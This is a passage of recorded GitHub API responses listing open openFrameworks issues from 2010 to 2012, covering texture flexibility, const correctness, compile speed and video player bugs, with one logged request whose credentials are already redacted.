bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":296,"html_url":"https://github.com/openframeworks/openFrameworks/issues/296","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"FreeImage 3141 build for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-01-10T02:36:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516556,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-09T20:46:43Z","body":"I think the pixeltype, the gltypeinternal and the gltype should be accessible to the user as well as the loadData(void * data, int w, int h, int glDataType) which is actually protected.\r\n\r\nActual implementation is only limited to a few choice of internalFormat which lead to choice of pixeltype and gltype. It thus doesn't allow from user specific type.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292","comments":0,"milestone":null,"number":292,"html_url":"https://github.com/openframeworks/openFrameworks/issues/292","assignee":null,"title":"ofTexture should be more flexible","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-01-09T20:46:43Z","state":"open","user":{"url":"https://api.github.com/users/I33N","gravatar_id":"ba8d7c3b4532d3747c30b9be91dc20d5","login":"I33N","avatar_url":"https://secure.gravatar.com/avatar/ba8d7c3b4532d3747c30b9be91dc20d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":520375},"id":516071,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T10:49:15Z","body":"ofImage::getWidth()/getHeight() are just getters that do absolutely nothing but return a copy of the width and height. these methods should be marked const.\r\n\r\n[added]: there are hacks inside ofxCv that i've had to make because getWidth/getHeight are not const correct. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288","comments":6,"milestone":null,"number":288,"html_url":"https://github.com/openframeworks/openFrameworks/issues/288","assignee":null,"title":"const correctness - add const to getWidth/getHeight","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-08T02:14:03Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":513779,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-11-30T05:13:10Z","body":"This is giving me some crashes. There needs to be a way to disable this when making custom windows. I have tried to do atexit(NULL); but the callback in ofRunApp(ofBaseApp * OFSA) is still being called. \r\n\r\nmaybe something like:\r\n\r\nvoid ofRunApp(ofBaseApp * OFSA, bool useExitCallback);\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275","comments":0,"milestone":null,"number":275,"html_url":"https://github.com/openframeworks/openFrameworks/issues/275","assignee":null,"title":"atexit(ofExitCallback);","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-11-30T05:13:10Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":445829,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-17T02:02:25Z","body":"bottom left corner is inconsistent with every other drawing command in OF, should be top left instead.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271","comments":7,"milestone":null,"number":271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/271","assignee":null,"title":"ofDrawBitmapString draws from bottom left","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-11-22T21:30:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":433297,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-03T19:04:08Z","body":"test if this is really useful:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4889&view=unread#unread\r\n\r\nhe adds a queue just before the color conversion","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/265","comments":0,"milestone":null,"number":265,"html_url":"https://github.com/openframeworks/openFrameworks/issues/265","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"linux videograbber stopping after some time","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-11-18T12:07:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":426050,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-19T22:47:21Z","body":"ofClear(r,g,b) is inconsistent with ofBackground(r,g,b) because the alpha is 0 by default -- meaning you always have to explicitly declare the alpha to clear the background.\r\n\r\nfurthermore, because all the arguments have default values there is not/cannot exist an ofClear(gray, alpha) to match ofSetColor style","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264","comments":5,"milestone":null,"number":264,"html_url":"https://github.com/openframeworks/openFrameworks/issues/264","assignee":null,"title":"ofClear uses inconsistent arguments","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-18T06:15:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":425675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=13 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4931'), ('content-length', '46291'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"bf7e6718fe6b733d04e77e00e220150f"'), ('date', 'Tue, 29 May 2012 19:27:22 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-05T21:58:33Z","body":"A lot of OF files are including ofMain / ofConstants.h - this makes compiles super slow. Try to have files only include what they need. Or find a way to break things up into the most often used ( windows.h etc ) and less used. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":255,"html_url":"https://github.com/openframeworks/openFrameworks/issues/255","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"COMPILE SPEED UP - cleanup internal includes to avoid ofMain.h and ofConstants.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-11T21:14:05Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":413771,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T20:11:33Z","body":"ofHideCursor()/ofShowCursor()\r\n\r\nofEnableArbTex()\r\nofEnableSetupScreen()\r\nofEnableDataPath()\r\nofEnableAlphaBlending()\r\nofEnableSmoothing()\r\n\r\nofSetFullscreen() + ofToggleFullscreen()\r\nofSetVerticalSync()\r\n\r\netc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249","comments":1,"milestone":null,"number":249,"html_url":"https://github.com/openframeworks/openFrameworks/issues/249","assignee":null,"title":"normalize option nomenclature (hide/enable/set/etc.)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-03T22:52:08Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":399214,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T22:03:41Z","body":"some video to test:\r\n\r\nmmsh://live.camstreams.com/cscamglobal16?MSWMExt=.asf\r\n\r\nit works ok with totem so it should be a problem in ofGstUtils","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":245,"html_url":"https://github.com/openframeworks/openFrameworks/issues/245","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"gstreamer problems with streaming of microsoft video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-10-13T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":360885,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T20:13:07Z","body":"I found an annoying bug in ofVideoPlayer.\nThis module do not like to be dynamically created or destroyed.\nCheck this little example :\n\nhttp://knu.free.fr/bug_ofVideoPlayer.zip\n\nLeft-click to create an object playing video.\nRight-click to suppress the last video.\n\nhere are the phenomenons I am facing on my Win7 machine :\n\n- \nIf you create an object, and then you suppress it, and then try to create an object again, the app will crash.\n\n- \nIf you create some objects (lets say 8), and then you suppress all of them, the app will crash before the last one (not always, but most of the time).\n\n\n\nNow in OF source tree, try replacing ofVideoPlayer.cpp with FIX_ofVideoPlayer.cpp (at the root of the zip)\nRebuild the project.\nNow everything should be working as expected.\n\n\nThe modifications I made in the source are marked by : //###############\n\nI do not have time to fully read and understand the quicktime API, so there are chances this workaround is fucking dirty.\nBut at least it seems to work.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/244","comments":1,"milestone":null,"number":244,"html_url":"https://github.com/openframeworks/openFrameworks/issues/244","assignee":null,"title":"bug in ofVideoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-10-11T19:56:46Z","state":"open","user":{"url":"https://api.github.com/users/fmauclere","avatar_url":"https://secure.gravatar.com/avatar/1c7dcbab3712f1a4d90bd2c3aa9a3e3d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1c7dcbab3712f1a4d90bd2c3aa9a3e3d","login":"fmauclere","id":435720},"id":357395,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-10T05:06:06Z","body":"Check out this code - also check if latest ffmpeg is better optimized for iphone.\r\nhttp://github.com/jgh-/FFmpeg-for-iOS","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/240","comments":0,"milestone":null,"number":240,"html_url":"https://github.com/openframeworks/openFrameworks/issues/240","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"iphone video player - ffmpeg and audioqueues","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-10-06T17:19:57Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":349886,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-10T05:08:56Z","body":"XCode: 3.2.4\nOF: github master @24 Sep 2010\nCompiled as: device base SDK 4.1 release arm7 deployment target 3.2\n\nWeird error: Build ofAudioOutputExample. Add a void testApp::exit() to see if it is called. Run app on ipod touch 2010 version with 4.1 installed.\n\nApp runs OK yet pressing the exit button on front of device quits the app, but xcode keeps running. Digging in a bit it appears not only testApp::exit, but ofExitCallback is not getting called.\n\nSwitch to iPad (no other settings changed) and app runs fine, and exits properly.\n\nSwitch to BaseSDK 3.2 and example runs fine and exits fine on both iPad and iPod.\n\nIdeas? Is this just me? I'm fairly new to OF, XCode and iPhone\n\n[edit]\nOK I worked out that pressing the \"close\" button in 4.1 calls applicationWillResignActive in ofxiPhoneAppDelegate.mm. As a hacky workaround as my app just needs to exit, not sit in background, I added exit(0); to the end of applicationWillResignActive and it seems to work.\n\nWould like to know how to do this properly though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/236","comments":1,"milestone":null,"number":236,"html_url":"https://github.com/openframeworks/openFrameworks/issues/236","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofExitCallback not being called on iphone4.1?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-09-25T01:55:49Z","state":"open","user":{"url":"https://api.github.com/users/DavidDC","avatar_url":"https://secure.gravatar.com/avatar/a6fdad0c31fcd273a1ba89434fec0419?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a6fdad0c31fcd273a1ba89434fec0419","login":"DavidDC","id":415101},"id":332379,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-04-19T00:32:33Z","body":"related to #221: texData.bAllocated is only used in the isAllocated method which can be changed from:\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.bAllocated;\r\n }\r\n\r\nto\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.textureID!=0;\r\n }\r\n\r\navoiding problems like #221 since we don't have two flags for the same thing","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228","comments":4,"milestone":null,"number":228,"html_url":"https://github.com/openframeworks/openFrameworks/issues/228","assignee":null,"title":"remove bAllocated in ofTexture?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-09-09T14:20:55Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":309191,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:45:27Z","body":"Segfault when playing .ogv files on 64 bit linux.\nSee forum post - http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4582","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/227","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":227,"html_url":"https://github.com/openframeworks/openFrameworks/issues/227","assignee":null,"title":"Ubuntu 64-bit conflict with FMOD when playing ogg theora files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-09-08T14:54:33Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":307684,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-08-31T10:54:19Z","body":"It would be nice to have:\r\n\r\n\tconst ofxVec2f xunit2f(1, 0), yunit2f(0, 1);\r\n\tconst ofxVec3f xunit3f(1, 0, 0), yunit3f(0, 1, 0), zunit3f(0, 0, 1);\r\n\r\nOr something similar that allows for more elegant notation when you're multiplying or adding by an axis.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225","comments":0,"milestone":null,"number":225,"html_url":"https://github.com/openframeworks/openFrameworks/issues/225","assignee":null,"title":"ofxVectorMath constants","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-08-31T10:54:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":295913,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-26T18:37:47Z","body":"can this be useful?\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4500\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224","comments":1,"milestone":null,"number":224,"html_url":"https://github.com/openframeworks/openFrameworks/issues/224","assignee":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"title":"gaussian noise","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"closed_at":null,"created_at":"2010-08-26T10:21:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":290973,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-10-17T13:58:53Z","body":"ofxOsc causes a memory access violation in VS2008, when you use sendMessage(ofxOscMessage) from within a class.\r\nNo error when you run that from main ofApp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214","comments":1,"milestone":null,"number":214,"html_url":"https://github.com/openframeworks/openFrameworks/issues/214","assignee":null,"title":"ofxOsc memory access violation. namespace issue?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-08-04T05:59:22Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":268332,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:12:26Z","body":"e) get arturo's script to work, or rewrite a new one to just clobber a given directory (and not pull from git, etc as it's doing now). \r\n\r\ntheo - might be good to have two scripts?\r\n1) to pull from git \r\n2) to remove everything not related to a platform - or maybe better just copies the files into a folder for that platform. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/199","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":199,"html_url":"https://github.com/openframeworks/openFrameworks/issues/199","assignee":null,"title":"script that doesn't pull everything from git","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-06-01T13:28:54Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":211418,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-05-25T14:54:52Z","body":"\r\nas per: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=8&t=3962&p=20661#p20661\r\n\r\nwe should explain how to use it properly. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/194","comments":0,"milestone":null,"number":194,"html_url":"https://github.com/openframeworks/openFrameworks/issues/194","assignee":null,"title":"ofGetAppPtr documentation is wrong 